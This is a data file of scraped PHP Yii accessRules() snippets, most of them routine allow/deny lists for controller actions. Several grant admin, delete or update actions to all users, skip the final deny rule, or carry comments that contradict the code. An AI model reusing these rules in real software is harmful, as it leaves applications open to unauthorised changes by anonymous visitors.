),\n );\n }", "public function accessRules()\n\t{\n\n $admins = CatNivelAcceso::getAdmins();\n\t\treturn array(\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('view','create','update','delete','getDetalle','exportToPdf','exportarExcel',\n 'index','autocompleteCatPuesto'),\n\t\t\t\t'users'=>array('@')\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*')\n\t\t\t)\n\t\t);\n\t}", "public function accessRules()\n {\n return array(\n array( 'allow', // allow all users to perform 'index' and 'view' actions\n 'actions' => array( 'index', 'view' ),\n 'users' => array( '*' ),\n ),\n array( 'allow', // allow authenticated user to perform 'create' and 'update' actions\n 'actions' => array( 'create', 'update', \n Helper::CONST_updateaccountsurcharge,\n Helper::CONST_updateaccountordersamount,\n Helper::CONST_invoicepdf,\n Helper::CONST_ae_loadPartyOrdersOrTasks,\n Helper::CONST_ae_loadParties,\n ),\n 'users' => array( '@' ),\n ),\n array( 'allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions' => array( 'admin', 'delete' ),\n 'users' => array( 'admin' ),\n ),\n array( 'deny', // deny all users\n 'users' => array( '*' ),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // admins only\n 'actions' => array('index', 'job', 'client', 'details', 'view'),\n 'users' => array('admin')\n ),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules() {\n return array(\n array('allow', // allow all users to perform 'index' and 'view' actions\n 'actions' => array('index', 'view', 'manageMissionsCarers', 'delete', 'updateStatuses', 'carerMissionsAll', 'setCarerSelected',\n 'missionCarersApplied', 'missionsNoCarerApplied', 'missionsNoCarerSelected', 'viewMission', 'missionsCarerNotConfirmed', 'missionsCarerAssigned',\n 'changeCarerSelected', 'updateMissionStatuses', 'updateDiscarded', 'deleteSelected', 'updateMissionStatuses2', 'missionsCarerAssignedNotStarted',\n 'createApplyRelation', 'cancelByAdmin', 'setCarerAssigned'),\n 'users' => array('*'),\n ),\n array('allow', // allow authenticated user to perform 'create' and 'update' actions\n 'actions' => array('create', 'update'),\n 'users' => array('@'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions' => array('admin', 'delete'),\n 'users' => array('admin'),\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\n {\n return array(\n array('allow',\n 'actions'=>array('audit','edit','delete','save','finish','orderGoodsDelete','validateAjax'),\n 'expression'=>array('OrderController','allowReadWrite'),\n ),\n array('allow',\n 'actions'=>array('index','view'),\n 'expression'=>array('OrderController','allowReadOnly'),\n ),\n array('allow',\n 'actions'=>array('activity','new','save','audit','delete','orderGoodsDelete','validateAjax'),\n 'expression'=>array('OrderController','addReadWrite'),\n ),\n/* array('allow',\n 'actions'=>array('index','view'),\n 'expression'=>array('OrderController','addReadOnly'),\n ),*/\n array('deny', // deny all users\n 'users'=>array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow authenticated user\n\t\t\t\t'actions'=>array('preview', 'view', 'update', 'delete', 'upload', 'download', 'rate', 'report', 'review', 'updateCourses'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n {\n return array(\n array('allow', // allow authenticated user to perform 'create' and 'update' actions\n 'actions' => array('banbandynamic', 'banbanactivity','banbannews','dynamicdetail'),\n 'users' => array('*'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions' => array(),\n 'users' => array('@'),\n //'expression'=>array($this,'loginAndNotDeleted'),\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', \n\t\t\t\t'actions'=>array('new','edit','delete','save','submit','request','cancel','fileupload','fileremove'),\n\t\t\t\t'expression'=>array('PayreqController','allowReadWrite'),\n\t\t\t),\n\t\t\tarray('allow', \n\t\t\t\t'actions'=>array('index','view','check','filedownload','void','listtax','Listfile'),\n\t\t\t\t'expression'=>array('PayreqController','allowReadOnly'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules() {\n return array(\n array('allow', // allow all users to perform 'index' and 'view' actions\n 'actions' => array('index', 'view', 'searchList', 'Approvalstatus', 'Allprojects', 'fetchSubProjectIdAndHours', 'checkHoursAndBudget'),\n 'users' => array('*'),\n ),\n array('allow', // allow authenticated user to perform 'create' and 'update' actions\n 'actions' => array('create', 'update', 'fetchSubProjectIdAndHours', 'checkHoursAndBudget'),\n 'users' => array('@'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions' => array('admin', 'delete'),\n//\t\t\t\t'users'=>array('admin'),\n 'users' => array('@'),\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\n {\n return array(\n array('allow',\n 'actions'=>array('new','edit','save','test'),\n 'expression'=>array('EmployeeController','allowReadWrite'),\n ),\n array('allow',\n 'actions'=>array('index','view'),\n 'expression'=>array('EmployeeController','allowReadOnly'),\n ),\n array('allow',\n 'actions'=>array('FileDownload','DownAgreement','DownOnlyContract','Downfile','Generate'),\n 'expression'=>array('EmployeeController','allowWrite'),\n ),\n array('deny', // deny all users\n 'users'=>array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\t return array(\n array('allow', // allow all users to perform 'index' and 'view' actions\n 'actions' => array('index', 'view'),\n 'expression' => 'Yii::app()->user->isAdmin()',\n ),\n array('deny', // deny all users\n 'expression' => '!Yii::app()->user->isAdmin()',\n ),\n );\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('index','test','view','renderButtons','update'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('getBatch','create','StudentAdministration','getAdmission'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array('admin','delete',),\n\t\t\t\t'users'=>array('admin'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules() {\n return array(\n array('allow', // allow all users to perform 'index' and 'view' actions\n 'actions' => array('index', 'view'),\n 'users' => array('@'),\n ),\n array('allow', // allow authenticated user to perform 'create' and 'update' actions\n 'actions' => array('create', 'update', 'details', 'IL', 'lookup'),\n 'users' => array('@'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions' => array('admin', 'delete', 'noProspect', 'noProspectHistory'),\n 'users' => array('@'),\n ),\n array('deny', // deny all users\n 'users' => array('@'),\n ),\n );\n }", "public function accessRules() {\n return array(\n array('allow',\n 'actions' => array('morecomments', 'approve', 'dashboard', 'create', 'list', 'update', 'delete', 'deleteall', 'index', 'view', 'replay', 'message.msg'),\n 'expression' => '$user->isAdministrator()',\n ),\n array('deny',\n 'users' => array('*'),\n )\n// array('allow', // allow all users to perform 'index' and 'view' actions\n// 'actions' => array('index', 'view'),\n// 'users' => array('*'),\n// ),\n// array('allow', // allow authenticated user to perform 'create' and 'update' actions\n// 'actions' => array('create', 'update'),\n// 'users' => array('@'),\n// ),\n// array('allow', // allow dashboard user to perform 'dashboard' and 'delete' actions\n// 'actions' => array('dashboard', 'delete'),\n// 'users' => array('dashboard'),\n// ),\n// array('deny', // deny all users\n// 'users' => array('*'),\n// ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('index','view','lista_materia','lista_actas_materia','reporte_acta','historico','listarhistoricomatria','generarpensum'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('create','update','lista_materia','lista_actas_materia', 'reporte_acta', 'hisotrico','listarhistoricomatria', 'generarpensum'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array('admin','delete'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n {\n return array(\n array('allow',\n 'actions'=>array('index', 'getcompanyinfo', 'getfiltereduserstoapprovelist', 'approveusers',\n 'getfilteredclientslist', 'getclientuserslist', 'changeclientadmins', 'getfiltereduserslist',\n 'assignusertoclient', 'getclientuserslistapprvalue', 'updateusersapprovalvalues', 'getfiltereduserstoactivelist',\n 'setactiveusers', 'finduserbylogin', 'getfiltereddocumentslist', 'reassigndocumentsclients', 'getdocumentfile',\n 'getuserfile', 'getfiltereduserstotypelist', 'settypeusers', 'getclientsprojectslist', 'getuserclientprojects',\n 'getfilteredemptycompanieslist', 'getemptycompanyinfo', 'generateletter', 'checkuserapprovalvalue',\n 'getimageviewblock', 'getusertypeinfo', 'getclientactiveinfo', 'getfilteredclientstoactivelist', 'setactiveclients',\n 'updateservicelevelsettings', 'getcompanyservicelevelsettings', 'getservicelevelsettings', 'updatecompanyservicelevel',\n 'addcompanypayment','ManageExistingUsersList'\n ),\n 'users'=>array('admin', 'db_admin'),\n ),\n array('deny',\n 'users'=>array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\n\t\treturn array(\n\t\t\tarray('allow', /// allow authenticated user to perform this: index,update,create,delete,errer,content\n\t\t\t\t'actions'=>array('index','update','create','delete','error','content'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', /// allow authenticated user to perform this: ua + allupdate\n\t\t\t\t'actions'=>array('index','update','allupdate','create','delete','error','content'),\n\t\t\t\t'users'=>array('admin'),\n\t\t\t),\n\t\t\tarray('deny', /// deny all not login users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array('manage','delete','view','status','gallery'),\n\t\t\t\t'expression'=>'helpers::isadmin()',\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\r\n\t{\r\n\t\treturn array(\r\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\r\n\t\t\t\t'actions'=>array('index','view'),\r\n\t\t\t\t'users'=>array('@'),\r\n\t\t\t),\r\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\r\n\t\t\t\t'actions'=>array('create','update','createAddDomain','createDeleteDomain','updateDeleteDomain','updateAddDomain','createByDomain','CreateDomain'),\r\n\t\t\t\t'users'=>array('@'),\r\n\t\t\t),\r\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\r\n\t\t\t\t'actions'=>array('admin','delete'),\r\n\t\t\t\t// 'users'=>array('admin'),\n\t\t\t\t'roles'=>array('administrator', 'koordynator'),\r\n\t\t\t),\r\n\t\t\tarray('deny', // deny all users\r\n\t\t\t\t'users'=>array('*'),\r\n\t\t\t),\r\n\t\t);\r\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('create','index','update','createLc'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array('delete'),\n\t\t\t\t'users'=>array('admin'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n {\n return array(\n array('allow', // allow all users to perform 'index' and 'view' actions\n 'actions' => array('index', 'view', 'category'),\n 'users' => array('*'),\n ),\n array('allow', // allow authenticated user to perform 'create' and 'update' actions\n 'actions' => array('create', 'update', 'rate', 'print','activate'),\n 'users' => array('@'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions' => array('admin', 'delete'),\n 'users' => array('admin'),\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'users'=>array('admin'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\r\n\t{\r\n\t\treturn array(\r\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\r\n\t\t\t\t'actions'=>array(Yii::app()->controller->action->id),\r\n\t\t\t\t'users'=>array('@'),\r\n\t\t\t),\r\n\t\t\tarray('deny', // deny all users\r\n\t\t\t\t'users'=>array('*'),\r\n\t\t\t),\r\n\t\t);\r\n\t}", "public function accessRules() {\n return array(\n /* array('allow', \n 'actions'=>array('*'),\n 'roles'=>array('events'),\n ), */\n array('deny', // deny all users\n 'actions'=>array( 'negotiatingAdd'),\n 'users'=>array('?'),\n ),\n \n array('allow', // deny all users\n 'users'=>array('*'),\n ),\n );\n }", "public function accessRules() {\n return array(\n array('allow', // allow view user to perform 'view' and 'delete' actions\n 'users' => User::getAdmins(),\n ),\n array('deny', // deny all users\n 'users' => array(\"*\"),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\t\t\t\t\n\t\t\t\tarray('allow', // allow authenticated users to access all actions\n\t\t\t\t\t\t'users'=>array('@'),\n\t\t\t\t),\n\t\t\t\tarray('deny', // deny all users\n\t\t\t\t\t\t'users'=>array('*'),\n\t\t\t\t),\n\t\t);\n\t}", "public function accessRules()\r\n\t{\r\n\t\treturn array(\r\n\t\t\tarray('allow', // allow authenticated admins to perform any action\r\n\t\t\t\t'users'=>array('@'),\r\n\t\t\t\t'expression'=>'Yii::app()->user->role>=5'\r\n\t\t\t),\r\n\t\t\tarray('deny', // deny all users\r\n\t\t\t\t'users'=>array('*'),\r\n\t\t\t\t'deniedCallback' => array($this, 'actionError')\r\n\t\t\t),\r\n\t\t);\r\n\t}", "public function accessRules()\n {\n return array(\n array('allow',\n 'actions' => array('view', 'create', 'update', 'delete', 'index', 'logout','admin', 'upload', 'ajaxUpload', 'editProfile', 'editPassword', 'crop'),\n 'roles' => array('bloger', 'admin'),// для авторизованных\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\n {\n return array(\n array('allow',\n 'roles' => array('admin'),\n ),\n array('deny',\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\r\n\t{\r\n\t\treturn array(\r\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\r\n\t\t\t\t'actions'=>array(''),\r\n\t\t\t\t'users'=>array('*'),\r\n\t\t\t),\r\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\r\n\t\t\t\t'actions'=>array('Ind1','Ind2','ind3','ind4','ind5','ind6','ind7','ind8','ind9','ind10','ind11','ind12','ind'),\r\n\t\t\t\t'users'=>array('@'),\r\n\t\t\t),\r\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\r\n\t\t\t\t'actions'=>array(''),\r\n\t\t\t\t'users'=>array('admin'),\r\n\t\t\t),\r\n\t\t\tarray('deny', // deny all users\r\n\t\t\t\t'users'=>array('*'),\r\n\t\t\t),\r\n\t\t);\r\n\t}", "public function accessRules()\n {\n return array(\n array('allow', // allow all users to perform 'index' and 'view' actions\n 'actions'=>array(''),\n 'users'=>array('*'),\n ),\n array('allow', // allow authenticated user to perform 'create' and 'update' actions\n 'actions'=>array('create','delete','update','lock','index','view','map','locked','index'),\n 'users'=>array('@'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions'=>array('admin','editableSaver','setup'),\n 'users'=>array('admin'),\n ),\n array('deny', // deny all users\n 'users'=>array('*'),\n ),\n );\n }", "public function accessRules() {\n return array(\n array('allow', // allow all users to perform 'index' and 'view' actions\n 'actions' => array('index', 'view'),\n 'users' => array('*'),\n ),\n array('allow', // allow authenticated user to perform 'create' and 'update' actions\n 'actions' => array('create', 'update','EnviaEmail','Rank'),\n 'users' => array('@'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions' => array('admin', 'delete', 'deletar'),\n 'users' => array('admin'),\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('index','view','admin'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('relaciona','recibevalor','create','update'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array('admin'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\r\n {\r\n return array(\r\n array(\r\n 'allow', // allow authenticated user to perform 'create' and 'update' actions\r\n 'actions' => array(\r\n 'DailyScan',\r\n 'DailyScanByItemNo',\r\n 'DetailScan',\r\n ),\r\n 'users' => array('@'),\r\n ),\r\n array(\r\n 'deny', // deny all users\r\n 'users' => array('*'),\r\n ),\r\n );\r\n }", "public function accessRules()\n {\n return array(\n array('allow', // allow all users to perform 'index' and 'view' actions\n 'roles'=>Yii::app()->getModule('d_export')->accessPermissionRoles,\n ),\n array('allow', // allow all users to perform 'index' and 'view' actions\n 'users'=>Yii::app()->getModule('d_export')->accessPermissionUsers,\n ),\n\n array('deny', // deny all users\n 'users'=>array('*'),\n ),\n );\n }", "public function accessRules() {\n return array(\n array(\n 'allow',\n 'actions' => array('scientificName'),\n 'users' => array('*'),\n ),\n array('allow',\n 'actions' => array('location', 'person', 'acquisitionSource'),\n 'users' => array('@'),\n ),\n array('deny', // deny all users by default\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules() {\n return array(\n array('allow', // allow all users to perform 'index' and 'view' actions\n 'actions' => array('index', 'view',),\n 'users' => array('*'),\n ),\n array('allow', // allow authenticated user to perform 'create' and 'update' actions\n 'actions' => array('create', 'update', 'recherche', 'profile', 'base', 'list', 'test','toggle'),\n 'users' => array('@'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions' => array('admin', 'delete'),\n 'users' => array('admin'),\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules() {\n return array(\n array('allow', // allow all users to perform 'index' and 'view' actions\n 'actions' => array('index', 'view'),\n 'users' => array('*'),\n ),\n array('allow', // allow authenticated user to perform 'create' and 'update' actions\n 'actions' => array('create', 'update', 'adjunto', 'admin'),\n 'users' => array('@'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions' => array('admin', 'delete'),\n 'users' => array('admin'),\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow',\n\t\t\t\t'actions' => array('index', 'worldMap', 'ownIslands', 'research', 'highscore', 'enterWorld', 'playWorld'),\n\t\t\t\t'users' => array('@'),\n\t\t\t),\n\t\t\tarray('deny',\n\t\t\t\t'users' => array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('index','view','setHitterBase','setBatterBase','stats','getBasesEvent'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('create','update','scorecard','submitBall'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array('admin','delete'),\n\t\t\t\t'roles'=>array('admins'),\n\t\t\t),\n\t\t\t/*array('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),*/\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('create','view','autocomplete'),\n\t\t\t\t'roles'=>array('admin'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // Allow superusers to access Rights\n\t\t\t\t'actions'=>array(\n\t\t\t\t\t'permissions',\n\t\t\t\t\t'operations',\n\t\t\t\t\t'tasks',\n\t\t\t\t\t'roles',\n\t\t\t\t\t'generate',\n\t\t\t\t\t'create',\n\t\t\t\t\t'update',\n\t\t\t\t\t'delete',\n\t\t\t\t\t'removeChild',\n\t\t\t\t\t'assign',\n\t\t\t\t\t'revoke',\n\t\t\t\t\t'sortable',\n\t\t\t\t),\n\t\t\t\t'users'=>$this->_authorizer->getSuperusers(),\n\t\t\t),\n\t\t\tarray('deny', // Deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('index', 'error', 'login', 'logout'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('create','update', 'resultsload', 'instrumentsresultsload', 'overviewload', 'details', 'admin', 'repview', 'filteredrepview', 'pdf' ),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t//'actions'=>array('admin','delete'),\n\t\t\t\t'users'=>array('admin'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules() {\n\t\treturn array(\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('index','view','getWorkflow','getStageDetails','updateStageDetails','startStage','completeStage','revertStage','getStageMembers','getStages'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array('admin','create','update','delete'),\n\t\t\t\t'users'=>array('admin'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'roles' => array(\n\t\t\t\t\tUser::ROLE_ADMIN,\n\t\t\t\t\tUser::ROLE_POWERADMIN,\n\t\t\t\t\tUser::ROLE_SEO,\n\t\t\t\t),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules() {\n return array(\n array('allow', // allow all users to perform 'index' and 'view' actions\n 'actions' => array('index', 'view', 'getinvoicedata', 'paynow', 'print'),\n 'users' => array('*'),\n ),\n array('allow', // allow authenticated user to perform 'create' and 'update' actions\n 'actions' => array('create', 'update'),\n 'users' => array('@'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions' => array('admin', 'delete'),\n 'users' => array('admin'),\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('index','view','votar'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\t/*array('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('create','update','admin','delete'),\n\t\t\t\t'users'=>array(Yii::app()->getModule('user')->user()->username),\n\t\t\t),*/\n\t\t\t/*array('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array(),\n\t\t\t\t'users'=>array(Yii::app()->getModule('user')->user()->username),\n\t\t\t),*/\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t return array(\n\t\t array('allow', // allow all users to perform 'index' and 'view' actions\n\t\t 'actions'=>array('Update_hecho','index','procesa_renap','explota_renap','Save_denunciante','Save_Ubicacion','ProcesaHechos','Save_hechos','Mostrar_hechos','Eliminar_hecho','Save_Relato','Show_Resumen'),\n\t\t 'users'=>array('oficinista','root','developer','supervisor_comisaria'),\n\t\t ),\n\t\t array('allow', // allow all users to perform 'index' and 'view' actions\n\t\t 'actions'=>array('pruebas','resumen','relato','hechos','mapa','persona'),\n\t\t 'users'=>array('developer'),\n\t\t ),\n\t\t array('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t 'actions'=>array('selector'),\n\t\t 'users'=>array('@'),\n\t\t ),\n\t\t\n\t\t array('deny', // deny all users\n\t\t 'users'=>array('*'),\n\t\t ),\n\t );\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array(/* 'index','view', 'report'*/'index'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array(/* 'create','update' */),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array(/* 'admin','delete' */),\n\t\t\t\t'users'=>array('admin'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('index','view','create','update','admin','delete','adminAssignment','reset'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t\t'roles'=>array('admin'),\n\t\t\t),\n array('allow',\n 'actions'=>array('password','profile'),\n 'users'=>array('@')\n ),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('index','view'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('create','update','principal','administrador','colaborador','consultor','visitante','verChat'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array('admin','delete'),\n\t\t\t\t'users'=>Yii::app()->getModule('user')->getAdministradores(),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('index','view','changeStatus','report'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('create','update','changeStatus','report'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array('admin','delete','changeStatus'),\n\t\t\t\t'users'=>array('admin'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\r\n\t{\r\n\t\treturn array(\r\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\r\n\t\t\t\t'actions'=>array('autocomplete'),\r\n\t\t\t\t'users'=>array(\"*\"),\r\n\t\t\t),\r\n\r\n\t\t\tarray('deny', // deny all users\r\n\t\t\t\t'users'=>array('*'),\r\n\t\t\t),\r\n\t\t);\r\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('index','view'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('create','update','imprime','reporte1','reporte2','reporte3','admin','delete'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' 